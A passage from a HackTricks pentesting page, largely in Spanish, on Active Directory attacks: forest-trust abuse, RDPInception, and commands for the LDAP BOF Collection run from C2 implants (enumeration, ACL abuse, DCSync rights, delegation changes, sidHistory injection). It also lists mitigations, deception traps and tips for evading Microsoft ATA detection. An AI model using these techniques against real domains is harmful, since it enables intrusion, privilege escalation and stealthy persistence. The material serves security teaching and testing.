More details on this can be read in From DA to EA with ESC5. In scenarios lacking ADCS, the attacker has the capability to set up the necessary components, as discussed in Escalating from Child Domain Admins to Enterprise Admins.

External Forest Domain - One-Way (Inbound) or bidirectional

Get-DomainTrust
SourceName      : a.domain.local   --> Current domain
TargetName      : domain.external  --> Destination domain
TrustType       : WINDOWS-ACTIVE_DIRECTORY
TrustAttributes :
TrustDirection  : Inbound          --> Inboud trust
WhenCreated     : 2/19/2021 10:50:56 PM
WhenChanged     : 2/19/2021 10:50:56 PM

En este escenario tu dominio es confiado por un dominio externo, otorgándote permisos indeterminados sobre él. Deberás encontrar qué principals de tu dominio tienen qué acceso sobre el dominio externo y luego intentar explotarlo:

External Forest Domain - OneWay (Inbound) or bidirectional

Dominio de Bosque Externo - Unidireccional (Salida)

Get-DomainTrust -Domain current.local

SourceName      : current.local   --> Current domain
TargetName      : external.local  --> Destination domain
TrustType       : WINDOWS_ACTIVE_DIRECTORY
TrustAttributes : FOREST_TRANSITIVE
TrustDirection  : Outbound        --> Outbound trust
WhenCreated     : 2/19/2021 10:15:24 PM
WhenChanged     : 2/19/2021 10:15:24 PM

En este escenario tu dominio está confiando algunos privilegios a un principal de dominios diferentes.

Sin embargo, cuando un dominio es confiado por el dominio que confía, el dominio confiado crea un usuario con un nombre predecible que usa como contraseña la contraseña establecida para el trust. Lo que significa que es posible acceder con un usuario del dominio que confía para entrar en el dominio confiado y enumerarlo e intentar escalar más privilegios:

External Forest Domain - One-Way (Outbound)

Otra forma de comprometer el dominio confiado es encontrar un SQL trusted link creado en la dirección opuesta de la relación de confianza del dominio (lo cual no es muy común).

Otra forma de comprometer el dominio confiado es esperar en una máquina a la que un usuario del dominio confiado puede acceder para iniciar sesión vía RDP. Luego, el atacante podría inyectar código en el proceso de la sesión RDP y acceder al dominio de origen de la víctima desde allí. Además, si la víctima montó su disco duro, desde el proceso de la sesión RDP el atacante podría almacenar backdoors en la carpeta de inicio del disco duro. Esta técnica se llama RDPInception.

RDP Sessions Abuse

Mitigación del abuso de relaciones de confianza de dominio

SID Filtering:

  • El riesgo de ataques que aprovechan el atributo SID history a través de relaciones de confianza entre bosques se mitiga mediante SID Filtering, que está activado por defecto en todas las relaciones entre bosques. Esto se fundamenta en la suposición de que las relaciones dentro del mismo bosque son seguras, considerando el bosque —y no el dominio— como el límite de seguridad según la postura de Microsoft.
  • Sin embargo, hay una salvedad: SID Filtering puede interrumpir aplicaciones y el acceso de usuarios, lo que lleva a que ocasionalmente se desactive.

Selective Authentication:

  • Para relaciones entre bosques, emplear Selective Authentication asegura que los usuarios de los dos bosques no sean autenticados automáticamente. En su lugar, se requieren permisos explícitos para que los usuarios accedan a dominios y servidores dentro del dominio o bosque que confía.
  • Es importante notar que estas medidas no protegen contra la explotación del Configuration Naming Context (NC) escribible ni contra ataques a la cuenta de trust.

More information about domain trusts in ired.team.

Abuso de AD basado en LDAP desde implantes en el host

The LDAP BOF Collection re-implements bloodyAD-style LDAP primitives as x64 Beacon Object Files that run entirely inside an on-host implant (e.g., Adaptix C2). Operators compile the pack with git clone https://github.com/P0142/ldap-bof-collection.git && cd ldap-bof-collection && make, load ldap.axs, and then call ldap <subcommand> from the beacon. All traffic rides the current logon security context over LDAP (389) with signing/sealing or LDAPS (636) with auto certificate trust, so no socks proxies or disk artifacts are required.

Enumeración LDAP del lado del implante

  • get-users, get-computers, get-groups, get-usergroups, and get-groupmembers resuelven nombres cortos/rutas OU en DNs completos y vuelcan los objetos correspondientes.
  • get-object, get-attribute, and get-domaininfo extraen atributos arbitrarios (incluyendo descriptores de seguridad) además de los metadatos de bosque/dominio desde rootDSE.
  • get-uac, get-spn, get-delegation, and get-rbcd exponen roasting candidates, delegation settings, y los descriptores existentes de Resource-based Constrained Delegation directamente desde LDAP.
  • get-acl and get-writable --detailed analizan la DACL para listar trustees, derechos (GenericAll/WriteDACL/WriteOwner/attribute writes) y herencia, proporcionando objetivos inmediatos para la escalada de privilegios mediante ACL.
ldap get-users --ldaps
ldap get-computers -ou "OU=Servers,DC=corp,DC=local"
ldap get-writable --detailed
ldap get-acl "CN=Tier0,OU=Admins,DC=corp,DC=local"

LDAP write primitives for escalation & persistence

  • Object creation BOFs (add-user, add-computer, add-group, add-ou) permiten al operador preparar nuevos principals o cuentas de máquina donde existan derechos sobre OU. add-groupmember, set-password, add-attribute, y set-attribute secuestran directamente objetivos una vez que se encuentran derechos de write-property.
  • Comandos enfocados en ACL como add-ace, set-owner, add-genericall, add-genericwrite, y add-dcsync traducen WriteDACL/WriteOwner sobre cualquier objeto AD en restablecimientos de contraseña, control de membresía de grupos o privilegios DCSync sin dejar artefactos de PowerShell/ADSI. Sus contrapartes remove-* limpian los ACEs inyectados.

Delegation, roasting, and Kerberos abuse

  • add-spn/set-spn convierten instantáneamente a un usuario comprometido en Kerberoastable; add-asreproastable (toggle de UAC) lo marca para AS-REP roasting sin tocar la contraseña.
  • Macros de delegación (add-delegation, set-delegation, add-constrained, add-unconstrained, add-rbcd) reescriben msDS-AllowedToDelegateTo, flags de UAC, o msDS-AllowedToActOnBehalfOfOtherIdentity desde el beacon, habilitando rutas de ataque constrained/unconstrained/RBCD y eliminando la necesidad de PowerShell remoto o RSAT.

sidHistory injection, OU relocation, and attack surface shaping

  • add-sidhistory inyecta SIDs privilegiados en el SID history de un principal controlado (see SID-History Injection), proporcionando herencia de acceso sigilosa completamente sobre LDAP/LDAPS.
  • move-object cambia el DN/OU de equipos o usuarios, permitiendo a un atacante arrastrar activos a OUs donde ya existan derechos delegados antes de abusar de set-password, add-groupmember, o add-spn.
  • Comandos de eliminación de alcance estrecho (remove-attribute, remove-delegation, remove-rbcd, remove-uac, remove-groupmember, etc.) permiten un rollback rápido después de que el operador coseche credenciales o persistencia, minimizando la telemetría.

AD -> Azure & Azure -> AD

Page not found - HackTricks Cloud

Algunas defensas generales

Aprende más sobre cómo proteger credenciales aquí.

Medidas defensivas para la protección de credenciales

  • Restricciones para Domain Admins: Se recomienda que los Domain Admins sólo puedan iniciar sesión en Domain Controllers, evitando su uso en otros hosts.
  • Privilegios de cuentas de servicio: Los servicios no deberían ejecutarse con privilegios de Domain Admin (DA) para mantener la seguridad.
  • Limitación temporal de privilegios: Para tareas que requieran privilegios DA, su duración debe limitarse. Esto se puede lograr con: Add-ADGroupMember -Identity ‘Domain Admins’ -Members newDA -MemberTimeToLive (New-TimeSpan -Minutes 20)

Implementación de técnicas de engaño

  • Implementar engaños implica establecer trampas, como usuarios o equipos señuelo, con características como contraseñas que no expiran o marcados como Trusted for Delegation. Un enfoque detallado incluye crear usuarios con derechos específicos o añadirlos a grupos de alto privilegio.
  • Un ejemplo práctico implica usar herramientas como: Create-DecoyUser -UserFirstName user -UserLastName manager-uncommon -Password Pass@123 | DeployUserDeception -UserFlag PasswordNeverExpires -GUID d07da11f-8a3d-42b6-b0aa-76c962be719a -Verbose
  • Más sobre despliegue de técnicas de engaño en Deploy-Deception on GitHub.

Identificación de engaños

  • Para objetos de usuario: Indicadores sospechosos incluyen ObjectSID atípico, inicios de sesión poco frecuentes, fechas de creación y bajo conteo de contraseñas incorrectas.
  • Indicadores generales: Comparar atributos de posibles objetos señuelo con los de objetos genuinos puede revelar inconsistencias. Herramientas como HoneypotBuster pueden ayudar a identificar estos engaños.

Evasión de sistemas de detección

  • Microsoft ATA Detection Bypass:
  • Enumeración de usuarios: Evitar la enumeración de sesiones en Domain Controllers para prevenir detección por ATA.
  • Impersonación de tickets: Utilizar claves aes para la creación de tickets ayuda a evadir detección al no degradar a NTLM.
  • Ataques DCSync: Ejecutar desde un host que no sea Domain Controller para evitar la detección de ATA es recomendable, ya que la ejecución directa desde un Domain Controller generará alertas.

Referencias

Tip

Aprende y practica Hacking en AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprende y practica Hacking en Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Apoya a HackTricks